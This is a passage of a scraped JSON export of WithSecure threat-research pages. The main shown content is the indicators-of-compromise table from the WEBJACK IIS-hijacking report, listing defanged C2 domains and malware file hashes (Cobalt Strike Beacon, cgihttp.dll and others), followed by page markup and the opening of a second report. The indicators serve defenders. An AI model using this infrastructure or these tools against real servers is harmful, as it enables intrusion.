valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">seo[.]667759[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">google2[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">kaifa[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">w3c[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">w5c[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">w5r[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">google[.]sneaws[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">jk[.]667759[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">11265422e79f2cd057ee1ae38a16e5db54039711ae8cdb9e177aebfde5666f32<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">fasthttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">c9b4657b6aea927bb0f601f2063e743f8702408c98d01ca3332692b29c4d90ca<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">fashttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">c65dea5d6ab244520a794de0bc9a232050b632b391b3cd3a616661f03d9d2619<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">fashttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">b0842c9916449de6d4b4159d6c5af747d6fb40609510d6a8d2eb669932c1f661<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">fashttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">72cf397738724b1f555c147005c61c058619405846460a60b02a2af75b57a81e<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">cgihttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">c17d1bb654bfa9ff9f612d37c1204585cfc76d663818a23aac78ba43e35e3df0<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">cgihttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">9a2fd34e22c5f3d3d5fb96e3cd514dad7b03ed7bf53a87e7d8d9b73987d02ece<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">cgihttp.dll<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">98d4d3de1af9d8568ededbddad4ed5a2072393985421462f44d12e482a1a36af<\/td>\n<td valign=\"top\" width=\"121\">cgihttp.dll<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">6b60b6df8a1a95f51ffe57255c05d26eb9e113857efac3b29d6ef080b8d414f3<\/td>\n<td valign=\"top\" width=\"121\">cgihttp.dll<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">561fcf1a2d6cc2170d2b538f416e95d981663984e384da51b36ffe97d2653dcd<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">Cobalt Strike Beacon<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">767576a2b67a3a53883b174a50c83192d0930a4ce213af5f5093e6ee26910d2b<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">Cobalt Strike Beacon<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">ffbad7beab3e0888d6957637f2ec80156402ad540e9c92ebb243fe27bea1f598<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">XlAnyLoader<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">00c7efe65ab90c03678359f5ba6b24d9f938a28205652dd61f15d7a31323cf1b<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">SoftEther VPN<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">bab9a644aff24cf313210cc6632f71d935a428ea0efb3823c0dbe6dccabe4b73<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">SoftEther VPN<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">cbbe63d47e377ab93a39d11554b3024760868bf667db388efc62e6f2850b5d89<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">SoftEther VPN<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">86b8605b4870be8c3e83e51b4e3ee80e781a7c5a0104ffa656da651a03579c5a<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">FScan<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">d8c0ef6dbf7d4572f92d3a492f32061ab8f3dd46beb9ff5a0bf9bf550935458c<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">Sharp4RemoveLog<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">48ec6530470b295db455bf2c72dc4fbd18672725f45821304f966d436b428865<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">CnCrypt Protect<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">e51ea911a281097be040ac2871134e6c7d5c3b37c8b46d2267ad40a18a05d2ec<b><\/b><\/td>\n<td valign=\"top\" width=\"121\">GoToHTTP<b><\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">SHA256<\/td>\n<td valign=\"top\" width=\"386\">ffa835cd05558fa52a12e91136c4e8a3e7393b3155a6be7877812c6e7d1ff811<\/td>\n<td valign=\"top\" width=\"121\">httpcgi.dat<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/&#038;title=WEBJACK:%20Evolving%20IIS%20Hijacking%20Campaign%20Abuses%20SEO%20for%20Fraud%20and%20Monetization\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud and Monetization&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>WithSecure\u2019s STINGR has been investigating a malware campaign, tracked as WEBJACK, which compromises Microsoft IIS servers<\/p>\n","protected":false},"author":3,"featured_media":8858,"template":"","categories":[240,237,269],"labs_content_type":[298,296,224],"class_list":["post-8312","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-attack-detection","category-network-security","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_research-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Network Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud and Monetization<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">WithSecure\u2019s STINGR has been investigating a malware campaign, tracked as WEBJACK, which compromises Microsoft IIS servers<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8858"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8312"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8211,"date":"2025-10-03T09:00:00","date_gmt":"2025-10-03T08:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8211"},"modified":"2026-09-08T10:04:56","modified_gmt":"2026-09-08T07:04:56","slug":"tamperedchef","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/","title":{"rendered":"TamperedChef: Malvertising to Credential Theft"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    TamperedChef: Malvertising to  <span class=\"blue-text\">Credential Theft<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Identity Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Software Protection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Oct 3, 2025                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/&#038;title=TamperedChef:%20Malvertising%20to%20Credential%20Theft\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TamperedChef: Malvertising to Credential Theft&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                            <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_news-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_f2905d03ccb0758b6630a5c87e404cf8\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Bert Stepp\u00e9<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div 